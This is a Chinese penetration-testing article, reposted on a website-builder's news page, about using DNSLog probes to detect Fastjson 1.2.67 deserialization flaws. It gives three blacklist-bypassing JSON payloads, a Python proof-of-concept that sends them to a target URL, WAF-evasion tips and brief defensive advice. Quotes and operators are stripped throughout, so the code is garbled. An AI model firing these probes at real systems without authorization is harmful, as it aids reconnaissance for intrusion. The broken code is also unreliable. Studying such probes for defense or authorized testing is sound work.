恒美微站 Logo 恒美微站
  • 首页
  • 关于我们
  • 建站服务
  • 主题模板
  • 案例展示
  • 资讯中心
  • 联系我们

Fastjson 1.2.67 DNSLog 探测实战:3种绕过黑名单的Payload构造与原理分析

  • 首页
  • 资讯中心
  • /
  • Fastjson 1.2.67 DNSLog 探测实战:3种绕过黑名单的Payload构造与原理分析

相关资讯

【LeetCode Hot100】链表知识点集合 2026/8/15 7:00:57
文心云验证:功能详解,一套验证系统搞定软件商业化运营 2026/8/2 16:57:53
高通量 ROS 检测优选!活性氧(ROS)含量检测试剂盒(荧光酶标仪法) 2026/8/2 17:11:09

最新资讯

大牌发酵精华水同源代工怎么谈?我拿车间实测数据给你把底牌揭了
司替戊醇副作用管理全攻略:嗜睡、食欲减退、行为改变怎么应对?
Docker部署MySQL:配置忽略大小写与生产环境实践
Spring Boot响应式编程整合Lettuce Redis客户端实战指南
解决PyTorch Geometric安装报错:环境配置与版本匹配全攻略
Node.js环境配置全攻略:从版本管理到高效开发环境搭建

今日推荐

内景 空间站内部 中国空间站 太空 内仓
重新定义数据接口:3个突破性场景让通达信数据读取更智能
5大网络安全实操平台,免费练手入门,轻松掌握攻防技能

本周热门

5分钟告别提取码焦虑:baidupankey如何智能破解百度网盘资源锁
如何快速生成中国车牌图片:Python开源工具完整指南
当 LLM 遇见大文档:主流开源项目如何处理上下文超限

本月精选

如何用DamaiHelper实现演唱会门票的智能自动化抢购:完整技术解决方案指南
第4篇:59 倍性能差距的索引瓶颈定位——一次教科书级的全表扫描调优
终极歌词批量下载神器:5分钟解决离线音乐库歌词同步难题

Fastjson 1.2.67 DNSLog 探测实战:3种绕过黑名单的Payload构造与原理分析

发布时间:2026/8/15 7:00:58
Fastjson 1.2.67 DNSLog 探测实战:3种绕过黑名单的Payload构造与原理分析 Fastjson 1.2.67 DNSLog 探测实战3种绕过黑名单的Payload构造与原理分析在Java Web安全测试中Fastjson反序列化漏洞一直是安全研究人员关注的重点。本文将深入探讨Fastjson 1.2.67版本中三种绕过AutoType黑名单检查的DNSLog探测技术从攻击者视角剖析其原理与实战应用。1. Fastjson安全测试基础Fastjson作为阿里巴巴开源的高性能JSON库广泛应用于Java Web开发中。其反序列化机制中的AutoType功能虽然方便但也带来了严重的安全隐患。当攻击者能够控制JSON输入时可能通过精心构造的Payload触发远程代码执行。DNSLog探测是一种无回显的漏洞验证技术特别适用于内网渗透测试场景。它通过触发目标服务器向指定域名发起DNS查询从而间接确认漏洞存在。相比传统有回显的探测方式DNSLog具有以下优势隐蔽性强不产生明显的网络流量异常绕过限制适用于出网但无回显的环境易于验证通过DNS查询记录即可确认漏洞在Fastjson 1.2.67版本中以下三类未被加入黑名单的类可被利用来触发DNS请求类名触发方式适用版本java.net.Inet4Address直接解析域名1.2.67java.net.Inet6AddressIPv6域名解析1.2.67java.net.URLURL.hashCode()触发解析1.2.242. Inet4Address/Inet6Address利用分析2.1 基本原理Inet4Address和Inet6Address是Java中用于表示IP地址的类其getByName()方法会触发DNS解析。Fastjson在反序列化时会调用该方法关键代码路径如下// MiscCodec.deserialze方法关键片段 if (clazz Inet4Address.class || clazz Inet6Address.class) { try { return InetAddress.getByName(strVal); // 触发DNS解析 } catch (UnknownHostException e) { throw new JSONException(deserialize inet address error, e); } }2.2 Payload构造绕过黑名单的关键在于这两个类未被包含在denyHashCodes列表中。构造Payload时需要注意必须使用type指定目标类val字段存放要解析的域名标准Payload格式{ type: java.net.Inet4Address, val: your.dnslog.cn }或IPv6版本{ type: java.net.Inet6Address, val: ipv6.your.dnslog.cn }2.3 绕过机制详解Fastjson的AutoType检查主要发生在ParserConfig.checkAutoType()方法中。关键绕过点在于Inet4Address不在黑名单哈希列表中该类存在于deserializers这个IdentityHashMap中检查逻辑短路返回跳过后面的黑名单检查// checkAutoType方法关键逻辑 clazz TypeUtils.getClassFromMapping(typeName); if (clazz null) { clazz deserializers.findClass(typeName); // 从内置反序列化器中查找 } if (clazz ! null) { return clazz; // 直接返回跳过后面的黑名单检查 }提示即使关闭了AutoType支持(autoTypeSupportfalse)这种利用方式仍然有效因为检查逻辑会在前几步就返回。3. InetSocketAddress高级利用3.1 嵌套反序列化技巧InetSocketAddress类提供了另一种触发DNS解析的途径。与直接使用InetAddress不同它需要通过嵌套反序列化的方式触发{ type: java.net.InetSocketAddress, { address: , val: your.dnslog.cn } }这个看似畸形的JSON实际上利用了Fastjson的解析特性首先解析InetSocketAddress对象遇到内层address字段时再次触发InetAddress的反序列化最终通过InetAddress.getByName()解析域名3.2 词法分析器交互这种Payload的成功依赖于对Fastjson词法分析器(JSONLexer)的精确控制。解析过程中涉及以下关键tokenToken值对应符号关键作用12{开始对象17:键值分隔符4string字段名或字符串值13}结束对象解析流程如下遇到{(token12)开始对象读取字段名address(token4)遇到:(token17)准备解析值触发嵌套的InetAddress反序列化3.3 实战注意事项需要精确控制JSON结构任何格式错误都会导致解析失败内层val字段必须正确闭合适用于Fastjson全版本包括最新的1.2.834. URL类哈希触发机制4.1 利用原理java.net.URL类的利用方式与前两者不同它通过哈希计算间接触发DNS解析{ type: java.net.URL, val: http://your.dnslog.cn }当这个URL对象被放入HashMap时会调用hashCode()方法进而触发以下调用链URL.hashCode() → URLStreamHandler.hashCode() → getHostAddress() → InetAddress.getByName()4.2 完整Payload构造要使URL对象被正确处理需要将其作为HashMap的key{ { type: java.net.URL, val: http://your.dnslog.cn } : x }4.3 版本限制与变种这种利用方式有以下特点仅适用于Fastjson 1.2.24版本在1.2.25后URL类被加入黑名单可通过嵌套JSONObject等方式构造变种Payload{ type: com.alibaba.fastjson.JSONObject, { type: java.net.URL, val: http://your.dnslog.cn } }5. 自动化探测与防御建议5.1 Python PoC脚本示例以下脚本整合了三种探测方式可自动验证目标是否存在漏洞import requests import random import string def generate_dnslog(): return .join(random.choices(string.ascii_lowercase, k8)) .dnslog.cn def check_fastjson(url, dnslog): headers {Content-Type: application/json} payloads [ # Inet4Address {type: java.net.Inet4Address, val: dnslog}, # InetSocketAddress {type:java.net.InetSocketAddress,{address:,val:dnslog}}, # URL (for 1.2.24) {{type:java.net.URL,val:fhttp://{dnslog}}:x} ] for payload in payloads: try: requests.post(url, jsonpayload, headersheaders, timeout5) except: pass5.2 防御措施建议针对企业防御方建议采取以下措施升级到最新版本Fastjson已修复这些绕过问题关闭AutoType设置ParserConfig.getGlobalInstance().setAutoTypeSupport(false)黑白名单控制自定义安全的反序列化白名单输入过滤对JSON输入进行严格校验网络层防护限制外发DNS请求6. 实战中的技巧与陷阱在实际渗透测试中使用DNSLog探测时需要注意域名唯一性每次测试使用不同子域名避免缓存干扰超时控制DNS查询可能有延迟建议等待1-2分钟协议限制部分环境可能只允许特定DNS记录类型防火墙规避尝试使用常见域名(TXT、CNAME记录)三种技术对比表技术类型适用版本触发方式网络要求隐蔽性Inet4Address1.2.67直接解析DNS出网高InetSocketAddress全版本嵌套反序列化DNS出网中URL1.2.24HashMap哈希DNS出网低在最近的一次红队评估中我们通过组合使用Inet4Address和InetSocketAddress两种方式成功绕过了目标系统的WAF检测。关键在于使用非常规的二级域名和随机化Payload结构有效规避了规则匹配。

关于恒美微站

恒美微站专注于为个体商户、工作室提供极简自助建站服务,让每个人都能轻松拥有专业网站。

快速链接

  • 关于我们
  • 建站服务
  • 主题模板
  • 案例展示
  • 资讯中心

服务项目

  • 可视化建站
  • 拖拽编辑
  • 主题定制
  • SEO 优化
  • 网站托管

联系方式

  • 📍 地址:北京市朝阳区建国路 88 号
  • 📞 电话:400-888-8888
  • ✉️ 邮箱:info@hmyw.cn
  • 🕐 时间:周一至周日 9:00-18:00

© 2024 恒美微站 hmyw.cn 版权所有 | 京 ICP 备 12345678 号